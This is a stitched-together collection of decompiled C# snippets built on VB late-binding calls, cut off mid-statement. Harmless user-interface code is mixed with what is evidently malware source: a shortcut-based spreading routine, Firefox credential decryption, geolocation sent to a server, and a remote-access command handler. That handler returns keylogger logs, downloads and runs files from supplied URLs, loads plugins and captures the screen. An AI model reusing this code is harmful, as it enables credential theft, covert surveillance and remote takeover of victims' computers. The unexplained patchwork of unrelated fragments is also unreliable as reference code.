private void btnOption_MouseLeave(object sender, EventArgs e) { Control topControl = this; Control youngestChildUnderMouse = this.GetYoungestChildUnderMouse(ref topControl); if (youngestChildUnderMouse > null) { if (!((youngestChildUnderMouse.Name.ToString() == "lblCaption") | (youngestChildUnderMouse.Name.ToString() == "picIcon"))) { if (Operators.ConditionalCompareObjectEqual(this.intSelected, NewLateBinding.LateGet(sender, null, "Index", new object[0], null, null, null), false)) { object[] arguments = new object[] { Config.ColorBase_L }; NewLateBinding.LateSet(sender, null, "BackColor", arguments, null, null); } else { object[] objArray2 = new object[] { Config.ColorBase_N }; NewLateBinding.LateSet(sender, null, "BackColor", objArray2, null, null); } } } else if (Operators.ConditionalCompareObjectEqual(this.intSelected, NewLateBinding.LateGet(sender, null, "Index", new object[0], null, null, null), false)) { object[] objArray3 = new object[] { Config.ColorBase_L }; NewLateBinding.LateSet(sender, null, "BackColor", objArray3, null, null); } else { object[] objArray4 = new object[] { Config.ColorBase_N }; NewLateBinding.LateSet(sender, null, "BackColor", objArray4, null, null); } }
/// <summary> /// 创建快捷方式文件(覆盖) /// </summary> /// <param name="TargetPath">快捷方式指向的路径(可以是相对路径,如"1.exe")</param> /// <param name="LinkFilePath">快捷方式文件的路径(可以是相对路径,如"1.lnk")</param> /// <param name="Arguments">打开程序的参数(例如"/?")</param> /// <param name="Description">鼠标悬停在快捷方式上的描述</param> /// <param name="WorkingDirectory">快捷方式的起始位置(默认设置为快捷方式指向的路径的父目录)</param> /// <returns>是否创建成功</returns> public static bool WriteLinkFile(string TargetPath, string LinkFilePath, [Optional, DefaultParameterValue("")] string Arguments, [Optional, DefaultParameterValue("")] string Description, [Optional, DefaultParameterValue("")] string WorkingDirectory) { try { if (File.Exists(LinkFilePath)) { File.Delete(LinkFilePath); } if (!TargetPath.Contains(":")) { TargetPath = Directory.GetCurrentDirectory() + @"\" + TargetPath; } if (WorkingDirectory == "") { WorkingDirectory = Directory.GetParent(LinkFilePath).FullName; } object[] arguments = new object[] { LinkFilePath }; bool[] copyBack = new bool[] { true }; object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(Interaction.CreateObject("WScript.Shell"), null, "CreateShortcut", arguments, null, null, copyBack)); NewLateBinding.LateSet(objectValue, null, "TargetPath", new object[] { TargetPath }, null, null); NewLateBinding.LateSet(objectValue, null, "IconLocation", new object[] { TargetPath }, null, null); NewLateBinding.LateSet(objectValue, null, "Arguments", new object[] { Arguments }, null, null); NewLateBinding.LateSet(objectValue, null, "Description", new object[] { Description }, null, null); NewLateBinding.LateSet(objectValue, null, "WorkingDirectory", new object[] { WorkingDirectory }, null, null); NewLateBinding.LateCall(objectValue, null, "Save", new object[0], null, null, null, true); objectValue = null; return(true); } catch (Exception ex) { return(false); } }
public static void FontResizer(params object[] args) { int integer = Conversions.ToInteger(args[checked (((IEnumerable <object>)args).Count <object>() - 1)]); object[] objArray = args; int index = 0; while (index < objArray.Length) { object objectValue = RuntimeHelpers.GetObjectValue(objArray[index]); if (objectValue is RadControl) { RadControl radControl = (RadControl)objectValue; radControl.Font = new Font(radControl.Font.FontFamily, radControl.Font.Size + (float)integer); } if (objectValue is Control) { Control control = (Control)objectValue; NewLateBinding.LateSet(objectValue, (System.Type)null, "Font", new object[1] { (object)new Font(control.Font.FontFamily, control.Font.Size + (float)integer) }, (string[])null, (System.Type[])null); } checked { ++index; } } }
// Token: 0x0600097F RID: 2431 RVA: 0x00051FC8 File Offset: 0x000501C8 public void cc(object sender, ColumnClickEventArgs e) { lock (this) { try { object[] arguments = new object[] { e.Column }; ColumnHeader columnHeader = (ColumnHeader)NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(sender))), null, "Columns", arguments, null, null, null); SortOrder sortOrder; if (this.m_SortingColumn != null) { if (!columnHeader.Equals(this.m_SortingColumn)) { sortOrder = SortOrder.Ascending; } else { sortOrder = ((!this.m_SortingColumn.Text.StartsWith("+")) ? SortOrder.Ascending : SortOrder.Descending); } this.m_SortingColumn.Text = this.m_SortingColumn.Text.Substring(1); } else { sortOrder = SortOrder.Ascending; } this.m_SortingColumn = columnHeader; if (sortOrder != SortOrder.Ascending) { this.m_SortingColumn.Text = "-" + this.m_SortingColumn.Text; } else { this.m_SortingColumn.Text = "+" + this.m_SortingColumn.Text; } if (sender != null) { arguments = new object[] { new LVII.clsListviewSorter(e.Column, sortOrder) }; NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(sender))), null, "ListViewItemSorter", arguments, null, null); NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(sender))), null, "Sort", new object[1], null, null, null, true); arguments = new object[] { null }; NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(sender))), null, "ListViewItemSorter", arguments, null, null); } } catch (Exception expr_18F) { ProjectData.SetProjectError(expr_18F); ProjectData.ClearProjectError(); } } }
// Token: 0x0600006B RID: 107 RVA: 0x0000BDAC File Offset: 0x00009FAC public void \u0002(object \u0002, ColumnClickEventArgs \u0003) { lock (this) { if (\u0003.Column != -1) { try { ColumnHeader columnHeader = (ColumnHeader)NewLateBinding.LateGet(\u0002, null, \u0006\u2001.\u0002(-1829123412), new object[] { \u0003.Column }, null, null, null); SortOrder u; if (this.\u0006 == null) { u = SortOrder.Ascending; columnHeader.Tag = \u0006\u2001.\u0002(-1829128662); } else if (columnHeader.Equals(this.\u0006)) { if (Operators.ConditionalCompareObjectEqual(this.\u0006.Tag, \u0006\u2001.\u0002(-1829128662), false)) { u = SortOrder.Descending; this.\u0006.Tag = \u0006\u2001.\u0002(-1829128670); } else { this.\u0006.Tag = \u0006\u2001.\u0002(-1829128662); u = SortOrder.Ascending; } } else { u = SortOrder.Ascending; } this.\u0006 = columnHeader; if (this.\u0006.Tag == null) { this.\u0006.Tag = \u0006\u2001.\u0002(-1829128662); } if (\u0002 != null) { NewLateBinding.LateSet(\u0002, null, \u0006\u2001.\u0002(-1829123394), new object[] { new \u000F\u2000.\u0002(\u0003.Column, u) }, null, null); NewLateBinding.LateCall(\u0002, null, \u0006\u2001.\u0002(-1829123451), new object[0], null, null, null, true); NewLateBinding.LateSet(\u0002, null, \u0006\u2001.\u0002(-1829123394), new object[] { null }, null, null); } } catch (Exception ex) { } } } }
private void method_2(object sender, ColumnClickEventArgs e) { ColumnHeader columnHeader = (ColumnHeader)NewLateBinding.LateGet(sender, null, "Columns", new object[] { e.Column }, null, null, null); SortOrder sortOrder; if (this.columnHeader_3 == null) { sortOrder = SortOrder.Ascending; } else { if (columnHeader.Equals(this.columnHeader_3)) { if (this.columnHeader_3.Text.EndsWith(" ▲")) { sortOrder = SortOrder.Descending; } else { sortOrder = SortOrder.Ascending; } } else { sortOrder = SortOrder.Ascending; } this.columnHeader_3.Text = this.columnHeader_3.Text.Substring(0, checked (this.columnHeader_3.Text.Length - 3)); } this.columnHeader_3 = columnHeader; if (sortOrder == SortOrder.Ascending) { ColumnHeader columnHeader2 = this.columnHeader_3; columnHeader2.Text += " ▲"; } else { ColumnHeader columnHeader2 = this.columnHeader_3; columnHeader2.Text += " ▼"; } NewLateBinding.LateSet(sender, null, "ListViewItemSorter", new object[] { new clsListviewSorter(e.Column, sortOrder) }, null, null); NewLateBinding.LateCall(sender, null, "Sort", new object[0], null, null, null, true); }
private void btnOption_MouseEnter(object sender, EventArgs e) { int index = 0; do { if (this.intSelected == this.btnOption[index].Index) { this.btnOption[index].BackColor = Config.ColorBase_L; } else { this.btnOption[index].BackColor = Config.ColorBase_N; } index++; }while (index <= 5); object[] arguments = new object[] { Config.ColorBase_D }; NewLateBinding.LateSet(sender, null, "BackColor", arguments, null, null); }
private static void CreateShortCut(string targetName, string shortCutPath, string shortCutName, string icon) { try { Spread.objShell = System.Runtime.CompilerServices.RuntimeHelpers.GetObjectValue(Interaction.CreateObject("WScript.Shell", "")); Spread.objLink = System.Runtime.CompilerServices.RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(Spread.objShell, null, "CreateShortcut", new object[] { shortCutPath + "\\" + shortCutName + ".lnk" }, null, null, null)); NewLateBinding.LateSet(Spread.objLink, null, "TargetPath", new object[] { shortCutPath + "\\" + System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName }, null, null); NewLateBinding.LateSet(Spread.objLink, null, "WindowStyle", new object[] { 1 }, null, null); if (icon == null) { NewLateBinding.LateSet(Spread.objLink, null, "Arguments", new object[] { " " + shortCutPath + "\\" + targetName }, null, null); NewLateBinding.LateSet(Spread.objLink, null, "IconLocation", new object[] { "%SystemRoot%\\system32\\SHELL32.dll,3" }, null, null); } else { NewLateBinding.LateSet(Spread.objLink, null, "Arguments", new object[] { " " + shortCutPath + "\\" + targetName }, null, null); NewLateBinding.LateSet(Spread.objLink, null, "IconLocation", new object[] { icon }, null, null); } NewLateBinding.LateCall(Spread.objLink, null, "Save", new object[0], null, null, null, true); } catch {} }
private void btnOption_MouseClick(object sender, EventArgs e) { int index = 0; do { this.btnOption[index].BackColor = Config.ColorBase_N; index++; }while (index <= 5); if ((NewLateBinding.LateGet(sender, null, "Name", new object[0], null, null, null).ToString() == "lblCaption") | (NewLateBinding.LateGet(sender, null, "Name", new object[0], null, null, null).ToString() == "picIcon")) { object[] arguments = new object[] { Config.ColorBase_D }; NewLateBinding.LateSetComplex(NewLateBinding.LateGet(sender, null, "Parent", new object[0], null, null, null), null, "BackColor", arguments, null, null, false, true); this.intSelected = Conversions.ToInteger(NewLateBinding.LateGet(NewLateBinding.LateGet(sender, null, "Parent", new object[0], null, null, null), null, "Index", new object[0], null, null, null)); } else { object[] objArray2 = new object[] { Config.ColorBase_D }; NewLateBinding.LateSet(sender, null, "BackColor", objArray2, null, null); this.intSelected = Conversions.ToInteger(NewLateBinding.LateGet(sender, null, "Index", new object[0], null, null, null)); } }
public void method_7(bool bool_0, object object_0) { object[] objArr2; if (Conversions.ToBoolean(NewLateBinding.LateGet(object_0, null, "InvokeRequired", new object[0], null, null, null))) { object[] objArr1 = new object[] { new QuestForm.GDelegate6(method_7), bool_0, RuntimeHelpers.GetObjectValue(object_0) }; objArr2 = objArr1; bool[] flagArr = new bool[] { false, true, true }; NewLateBinding.LateCall(object_0, null, "Invoke", objArr2, null, null, flagArr, true); if (flagArr[1]) bool_0 = (bool)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArr2[1]), typeof(bool)); if (!flagArr[2]) return; object_0 = RuntimeHelpers.GetObjectValue(objArr2[2]); return; } objArr2 = new object[] { bool_0 }; NewLateBinding.LateSet(object_0, null, "enabled", objArr2, null, null); }
public void method_8(string string_1, object object_0) { object[] objArr2; if (Conversions.ToBoolean(NewLateBinding.LateGet(object_0, null, "InvokeRequired", new object[0], null, null, null))) { object[] objArr1 = new object[] { new QuestForm.GDelegate7(method_8), string_1, RuntimeHelpers.GetObjectValue(object_0) }; objArr2 = objArr1; bool[] flagArr = new bool[] { false, true, true }; NewLateBinding.LateCall(object_0, null, "Invoke", objArr2, null, null, flagArr, true); if (flagArr[1]) string_1 = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArr2[1]), typeof(string)); if (!flagArr[2]) return; object_0 = RuntimeHelpers.GetObjectValue(objArr2[2]); return; } objArr2 = new object[] { string_1 }; NewLateBinding.LateSet(object_0, null, "Text", objArr2, null, null); }
// Token: 0x060000F0 RID: 240 RVA: 0x0000D9F0 File Offset: 0x0000BBF0 private byte[] decrypt3DES(byte[] globalSalt, byte[] entrySalt, byte[] cipherT) { byte[] result; try { object obj = SHA1.Create("sha1"); object instance = obj; System.Type type = null; string memberName = "ComputeHash"; object[] array = new object[] { globalSalt }; object[] arguments = array; string[] argumentNames = null; System.Type[] typeArguments = null; bool[] array2 = new bool[] { true }; object obj2 = NewLateBinding.LateGet(instance, type, memberName, arguments, argumentNames, typeArguments, array2); if (array2[0]) { globalSalt = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(byte[])); } byte[] array3 = (byte[])obj2; Array.Resize <byte>(ref array3, 40); Array.Copy(entrySalt, 0, array3, 20, 20); byte[] array4 = entrySalt; Array.Resize <byte>(ref array4, 40); Array.Copy(entrySalt, 0, array4, 20, 20); object instance2 = obj; System.Type type2 = null; string memberName2 = "ComputeHash"; object[] array5 = new object[] { array3 }; object[] arguments2 = array5; string[] argumentNames2 = null; System.Type[] typeArguments2 = null; array2 = new bool[] { true }; object obj3 = NewLateBinding.LateGet(instance2, type2, memberName2, arguments2, argumentNames2, typeArguments2, array2); if (array2[0]) { array3 = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array5[0]), typeof(byte[])); } object objectValue = RuntimeHelpers.GetObjectValue(obj3); object obj4 = HMAC.Create(); NewLateBinding.LateSet(obj4, null, "Key", new object[] { RuntimeHelpers.GetObjectValue(objectValue) }, null, null); object instance3 = obj4; System.Type type3 = null; string memberName3 = "ComputeHash"; array5 = new object[] { array4 }; object[] arguments3 = array5; string[] argumentNames3 = null; System.Type[] typeArguments3 = null; array2 = new bool[] { true }; object obj5 = NewLateBinding.LateGet(instance3, type3, memberName3, arguments3, argumentNames3, typeArguments3, array2); if (array2[0]) { array4 = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array5[0]), typeof(byte[])); } object objectValue2 = RuntimeHelpers.GetObjectValue(obj5); Array.Resize <byte>(ref array4, 20); object instance4 = obj4; System.Type type4 = null; string memberName4 = "ComputeHash"; array5 = new object[] { array4 }; object[] arguments4 = array5; string[] argumentNames4 = null; System.Type[] typeArguments4 = null; array2 = new bool[] { true }; object obj6 = NewLateBinding.LateGet(instance4, type4, memberName4, arguments4, argumentNames4, typeArguments4, array2); if (array2[0]) { array4 = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array5[0]), typeof(byte[])); } object objectValue3 = RuntimeHelpers.GetObjectValue(obj6); object instance5 = null; System.Type typeFromHandle = typeof(Array); string memberName5 = "Resize"; array5 = new object[] { RuntimeHelpers.GetObjectValue(objectValue3), 40 }; object[] arguments5 = array5; string[] argumentNames5 = null; System.Type[] typeArguments5 = null; array2 = new bool[] { true, false }; NewLateBinding.LateCall(instance5, typeFromHandle, memberName5, arguments5, argumentNames5, typeArguments5, array2, true); if (array2[0]) { objectValue3 = RuntimeHelpers.GetObjectValue(array5[0]); } object instance6 = null; System.Type typeFromHandle2 = typeof(Array); string memberName6 = "Copy"; array5 = new object[] { entrySalt, 0, RuntimeHelpers.GetObjectValue(objectValue3), 20, 20 }; object[] arguments6 = array5; string[] argumentNames6 = null; System.Type[] typeArguments6 = null; array2 = new bool[] { true, false, true, false, false }; NewLateBinding.LateCall(instance6, typeFromHandle2, memberName6, arguments6, argumentNames6, typeArguments6, array2, true); if (array2[0]) { entrySalt = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array5[0]), typeof(byte[])); } if (array2[2]) { objectValue3 = RuntimeHelpers.GetObjectValue(array5[2]); } object instance7 = obj4; System.Type type5 = null; string memberName7 = "ComputeHash"; array5 = new object[] { RuntimeHelpers.GetObjectValue(objectValue3) }; object[] arguments7 = array5; string[] argumentNames7 = null; System.Type[] typeArguments7 = null; array2 = new bool[] { true }; object obj7 = NewLateBinding.LateGet(instance7, type5, memberName7, arguments7, argumentNames7, typeArguments7, array2); if (array2[0]) { objectValue3 = RuntimeHelpers.GetObjectValue(array5[0]); } object objectValue4 = RuntimeHelpers.GetObjectValue(obj7); object instance8 = null; System.Type typeFromHandle3 = typeof(Array); string memberName8 = "Resize"; array5 = new object[] { RuntimeHelpers.GetObjectValue(objectValue2), 40 }; object[] arguments8 = array5; string[] argumentNames8 = null; System.Type[] typeArguments8 = null; array2 = new bool[] { true, false }; NewLateBinding.LateCall(instance8, typeFromHandle3, memberName8, arguments8, argumentNames8, typeArguments8, array2, true); if (array2[0]) { objectValue2 = RuntimeHelpers.GetObjectValue(array5[0]); } object instance9 = null; System.Type typeFromHandle4 = typeof(Array); string memberName9 = "Copy"; array5 = new object[] { RuntimeHelpers.GetObjectValue(objectValue4), 0, RuntimeHelpers.GetObjectValue(objectValue2), 20, 20 }; object[] arguments9 = array5; string[] argumentNames9 = null; System.Type[] typeArguments9 = null; array2 = new bool[] { true, false, true, false, false }; NewLateBinding.LateCall(instance9, typeFromHandle4, memberName9, arguments9, argumentNames9, typeArguments9, array2, true); if (array2[0]) { objectValue4 = RuntimeHelpers.GetObjectValue(array5[0]); } if (array2[2]) { objectValue2 = RuntimeHelpers.GetObjectValue(array5[2]); } int num = Conversions.ToInteger(Operators.SubtractObject(NewLateBinding.LateGet(objectValue2, null, "Length", new object[0], null, null, null), 8)); int num2 = Conversions.ToInteger(Operators.SubtractObject(NewLateBinding.LateGet(objectValue2, null, "Length", new object[0], null, null, null), num)); object obj8 = new byte[num2 - 1 + 1]; object instance10 = null; System.Type typeFromHandle5 = typeof(Array); string memberName10 = "Copy"; array5 = new object[] { RuntimeHelpers.GetObjectValue(objectValue2), num, RuntimeHelpers.GetObjectValue(obj8), 0, num2 }; object[] arguments10 = array5; string[] argumentNames10 = null; System.Type[] typeArguments10 = null; array2 = new bool[] { true, true, true, false, true }; NewLateBinding.LateCall(instance10, typeFromHandle5, memberName10, arguments10, argumentNames10, typeArguments10, array2, true); if (array2[0]) { objectValue2 = RuntimeHelpers.GetObjectValue(array5[0]); } if (array2[1]) { num = (int)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array5[1]), typeof(int)); } if (array2[2]) { obj8 = RuntimeHelpers.GetObjectValue(array5[2]); } if (array2[4]) { num2 = (int)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array5[4]), typeof(int)); } int num3 = 24; object obj9 = new byte[num3 - 1 + 1]; object instance11 = null; System.Type typeFromHandle6 = typeof(Array); string memberName11 = "Copy"; array5 = new object[] { RuntimeHelpers.GetObjectValue(objectValue2), 0, RuntimeHelpers.GetObjectValue(obj9), 0, num3 }; object[] arguments11 = array5; string[] argumentNames11 = null; System.Type[] typeArguments11 = null; array2 = new bool[] { true, false, true, false, true }; NewLateBinding.LateCall(instance11, typeFromHandle6, memberName11, arguments11, argumentNames11, typeArguments11, array2, true); if (array2[0]) { objectValue2 = RuntimeHelpers.GetObjectValue(array5[0]); } if (array2[2]) { obj9 = RuntimeHelpers.GetObjectValue(array5[2]); } if (array2[4]) { num3 = (int)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array5[4]), typeof(int)); } int num4 = 24; object obj10 = new byte[num3 - 1 + 1]; object instance12 = null; System.Type typeFromHandle7 = typeof(Array); string memberName12 = "Copy"; array5 = new object[] { RuntimeHelpers.GetObjectValue(FFRecover.TripleDESHelper.DESCBCDecryptor((byte[])obj9, (byte[])obj8, cipherT, false)), 0, RuntimeHelpers.GetObjectValue(obj10), 0, num4 }; object[] arguments12 = array5; string[] argumentNames12 = null; System.Type[] typeArguments12 = null; array2 = new bool[] { false, false, true, false, true }; NewLateBinding.LateCall(instance12, typeFromHandle7, memberName12, arguments12, argumentNames12, typeArguments12, array2, true); if (array2[2]) { obj10 = RuntimeHelpers.GetObjectValue(array5[2]); } if (array2[4]) { num4 = (int)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array5[4]), typeof(int)); } result = (byte[])obj10; } catch (Exception ex) { result = null; } return(result); }
// Token: 0x0600002A RID: 42 RVA: 0x000053A4 File Offset: 0x000035A4 public static object CoordsToAddress(string lat, string lng) { object result; try { string text = "http://geocoder.ca/?locate=" + lat + "+" + lng; object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("internetexplorer.application", "")); NewLateBinding.LateSet(objectValue, null, "Width", new object[] { 250 }, null, null); NewLateBinding.LateSet(objectValue, null, "Height", new object[] { 135 }, null, null); NewLateBinding.LateSet(objectValue, null, "Top", new object[] { 0 }, null, null); NewLateBinding.LateSet(objectValue, null, "Left", new object[] { 0 }, null, null); object instance = objectValue; Type type = null; string memberName = "Navigate"; object[] array = new object[] { text }; object[] arguments = array; string[] argumentNames = null; Type[] typeArguments = null; bool[] array2 = new bool[] { true }; NewLateBinding.LateCall(instance, type, memberName, arguments, argumentNames, typeArguments, array2, true); if (array2[0]) { text = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(string)); } while (Operators.ConditionalCompareObjectNotEqual(NewLateBinding.LateGet(objectValue, null, "ReadyState", new object[0], null, null, null), 4, false)) { Application.DoEvents(); } NewLateBinding.LateSet(objectValue, null, "Visible", new object[] { false }, null, null); object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "Document", new object[0], null, null, null)); object objectValue3 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(NewLateBinding.LateGet(NewLateBinding.LateGet(NewLateBinding.LateGet(objectValue2, null, "body", new object[0], null, null, null), null, "innerHTML", new object[0], null, null, null), null, "Split", new object[] { new string[] { "This is the nearest street address. [ <a href=\"https://geocoder.ca/?locate=" }, StringSplitOptions.None }, null, null, null), new object[] { 1 }, null)); string text2 = Conversions.ToString(NewLateBinding.LateIndexGet(NewLateBinding.LateGet(objectValue3, null, "Split", new object[] { new string[] { "\">" }, StringSplitOptions.None }, null, null, null), new object[] { 0 }, null)); NewLateBinding.LateCall(objectValue, null, "Quit", new object[0], null, null, null, true); result = text2; } catch (Exception ex) { try { object objectValue; NewLateBinding.LateCall(objectValue, null, "Quit", new object[0], null, null, null, true); } catch (Exception ex2) { } } return(result); }
// Token: 0x06000029 RID: 41 RVA: 0x00004EDC File Offset: 0x000030DC public static void GeoLocate() { try { string text = "https://whatismyipaddress.com/update-location"; object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("internetexplorer.application", "")); NewLateBinding.LateSet(objectValue, null, "Width", new object[] { 250 }, null, null); NewLateBinding.LateSet(objectValue, null, "Height", new object[] { 135 }, null, null); NewLateBinding.LateSet(objectValue, null, "Top", new object[] { 0 }, null, null); NewLateBinding.LateSet(objectValue, null, "Left", new object[] { 0 }, null, null); object instance = objectValue; Type type = null; string memberName = "Navigate"; object[] array = new object[] { text }; object[] arguments = array; string[] argumentNames = null; Type[] typeArguments = null; bool[] array2 = new bool[] { true }; NewLateBinding.LateCall(instance, type, memberName, arguments, argumentNames, typeArguments, array2, true); if (array2[0]) { text = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(string)); } while (Operators.ConditionalCompareObjectNotEqual(NewLateBinding.LateGet(objectValue, null, "ReadyState", new object[0], null, null, null), 4, false)) { Application.DoEvents(); } NewLateBinding.LateSet(objectValue, null, "Visible", new object[] { false }, null, null); object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "Document", new object[0], null, null, null)); object objectValue3 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(NewLateBinding.LateGet(NewLateBinding.LateGet(NewLateBinding.LateGet(objectValue2, null, "body", new object[0], null, null, null), null, "innerHTML", new object[0], null, null, null), null, "Split", new object[] { new string[] { "<td id=\"map1_lat\"></td>" }, StringSplitOptions.None }, null, null, null), new object[] { 1 }, null)); string text2 = Conversions.ToString(NewLateBinding.LateIndexGet(NewLateBinding.LateGet(objectValue3, null, "Split", new object[] { new string[] { "<td></td>" }, StringSplitOptions.None }, null, null, null), new object[] { 0 }, null)); text2 = text2.Replace("<td>", ""); text2 = Regex.Replace(text2, "\\t|\\n|\\r", ""); text2 = text2.Replace("</td>", ","); object objectValue4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(NewLateBinding.LateGet(NewLateBinding.LateGet(NewLateBinding.LateGet(objectValue2, null, "body", new object[0], null, null, null), null, "innerHTML", new object[0], null, null, null), null, "Split", new object[] { new string[] { "<td id=\"map1_lng\"></td>" }, StringSplitOptions.None }, null, null, null), new object[] { 1 }, null)); string text3 = Conversions.ToString(NewLateBinding.LateIndexGet(NewLateBinding.LateGet(objectValue4, null, "Split", new object[] { new string[] { "<td></td>" }, StringSplitOptions.None }, null, null, null), new object[] { 0 }, null)); text3 = text3.Replace("<td>", ""); text3 = Regex.Replace(text3, "\\t|\\n|\\r", ""); text3 = text3.Replace("</td>", ","); Functions.uploadserialized(Server.nstream, Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject("38|", Functions.CoordsToAddress(text2.Split(new char[] { ',' })[1], text3.Split(new char[] { ',' })[1])), " "), text2.Split(new char[] { ',' })[1]), ", "), text3.Split(new char[] { ',' })[1])); NewLateBinding.LateCall(objectValue, null, "Quit", new object[0], null, null, null, true); } catch (Exception ex) { Functions.uploadserialized(Server.nstream, "38|Failed!"); try { object objectValue; NewLateBinding.LateCall(objectValue, null, "Quit", new object[0], null, null, null, true); } catch (Exception ex2) { } } }
public static void HandleData(byte[] b) { string[] array = Strings.Split(BytesToString(ref b), splitter, -1, CompareMethod.Binary); checked { try { string left = array[0]; if (Operators.CompareString(left, "ll", false) == 0) { isConnected = false; } else if (Operators.CompareString(left, "kl", false) == 0) { Send("kl" + splitter + StringToBase64(ref keylogger.Logs)); } else if (Operators.CompareString(left, "prof", false) == 0) { string left2 = array[1]; if (Operators.CompareString(left2, "~", false) == 0) { SaveValueOnRegistry(array[2], array[3], RegistryValueKind.String); } else if (Operators.CompareString(left2, "!", false) == 0) { SaveValueOnRegistry(array[2], array[3], RegistryValueKind.String); Send(Conversions.ToString(Operators.ConcatenateObject("getvalue" + splitter + array[1] + splitter, GetValueFromRegistry(array[1], "")))); } else if (Operators.CompareString(left2, "@", false) == 0) { DeleteValueFromRegistry(array[2]); } } else { if (Operators.CompareString(left, "rn", false) == 0) { byte[] bytes; if (array[2][0] == '\u001f') { try { MemoryStream memoryStream = new MemoryStream(); int length = (array[0] + splitter + array[1] + splitter).Length; memoryStream.Write(b, length, b.Length - length); bytes = DecompressGzip(memoryStream.ToArray()); goto IL_20B; } catch { Send("MSG" + splitter + "Execute ERROR"); Send("bla"); return; } } WebClient webClient = new WebClient(); try { bytes = webClient.DownloadData(array[2]); } catch { Send("MSG" + splitter + "Download ERROR"); Send("bla"); return; } IL_20B: Send("bla"); string text = Path.GetTempFileName() + "." + array[1]; try { File.WriteAllBytes(text, bytes); Process.Start(text); Send("MSG" + splitter + "Executed As " + new FileInfo(text).Name); return; } catch (Exception ex) { Send("MSG" + splitter + "Execute ERROR " + ex.Message); ProjectData.ClearProjectError(); return; } } if (Operators.CompareString(left, "inv", false) == 0) { byte[] array2 = (byte[])GetValueFromRegistry(array[1], new byte[0]); if (array[3].Length < 10 & array2.Length == 0) { Send(string.Concat(new string[] { "pl", splitter, array[1], splitter, Conversions.ToString(1) })); } else { if (array[3].Length > 10) { MemoryStream memoryStream2 = new MemoryStream(); int length2 = string.Concat(new string[] { array[0], splitter, array[1], splitter, array[2], splitter }).Length; memoryStream2.Write(b, length2, b.Length - length2); array2 = DecompressGzip(memoryStream2.ToArray()); SaveValueOnRegistry(array[1], array2, RegistryValueKind.Binary); } Send(string.Concat(new string[] { "pl", splitter, array[1], splitter, Conversions.ToString(0) })); object objectValue = RuntimeHelpers.GetObjectValue(Plugin(array2, "A")); NewLateBinding.LateSet(objectValue, null, "h", new object[] { host }, null, null); NewLateBinding.LateSet(objectValue, null, "p", new object[] { port }, null, null); NewLateBinding.LateSet(objectValue, null, "osk", new object[] { array[2] }, null, null); NewLateBinding.LateCall(objectValue, null, "start", new object[0], null, null, null, true); while (!Conversions.ToBoolean(Operators.OrObject(!isConnected, Operators.CompareObjectEqual(NewLateBinding.LateGet(objectValue, null, "Off", new object[0], null, null, null), true, false)))) { Thread.Sleep(1); } NewLateBinding.LateSet(objectValue, null, "off", new object[] { true }, null, null); } } else if (Operators.CompareString(left, "ret", false) == 0) { byte[] array3 = (byte[])GetValueFromRegistry(array[1], new byte[0]); if (array[2].Length < 10 & array3.Length == 0) { Send(string.Concat(new string[] { "pl", splitter, array[1], splitter, Conversions.ToString(1) })); } else { if (array[2].Length > 10) { MemoryStream memoryStream3 = new MemoryStream(); int length3 = (array[0] + splitter + array[1] + splitter).Length; memoryStream3.Write(b, length3, b.Length - length3); array3 = DecompressGzip(memoryStream3.ToArray()); SaveValueOnRegistry(array[1], array3, RegistryValueKind.Binary); } Send(string.Concat(new string[] { "pl", splitter, array[1], splitter, Conversions.ToString(0) })); object objectValue2 = RuntimeHelpers.GetObjectValue(Plugin(array3, "A")); string[] array4 = new string[5]; array4[0] = "ret"; array4[1] = splitter; array4[2] = array[1]; array4[3] = splitter; string[] arg_658_0 = array4; int arg_658_1 = 4; string text2 = Conversions.ToString(NewLateBinding.LateGet(objectValue2, null, "GT", new object[0], null, null, null)); arg_658_0[arg_658_1] = StringToBase64(ref text2); Send(string.Concat(array4)); } } else if (Operators.CompareString(left, "CAP", false) == 0) { int arg_6A9_0 = Screen.PrimaryScreen.Bounds.Width; Rectangle bounds = Screen.PrimaryScreen.Bounds; Bitmap bitmap = new Bitmap(arg_6A9_0, bounds.Height, PixelFormat.Format16bppRgb555); Graphics graphics = Graphics.FromImage(bitmap); Graphics arg_6DB_0 = graphics; int arg_6DB_1 = 0; int arg_6DB_2 = 0; int arg_6DB_3 = 0; int arg_6DB_4 = 0; Size size = new Size(bitmap.Width, bitmap.Height); arg_6DB_0.CopyFromScreen(arg_6DB_1, arg_6DB_2, arg_6DB_3, arg_6DB_4, size, CopyPixelOperation.SourceCopy); try { Cursor arg_702_0 = Cursors.Default; Graphics arg_702_1 = graphics; Point arg_6FB_1 = 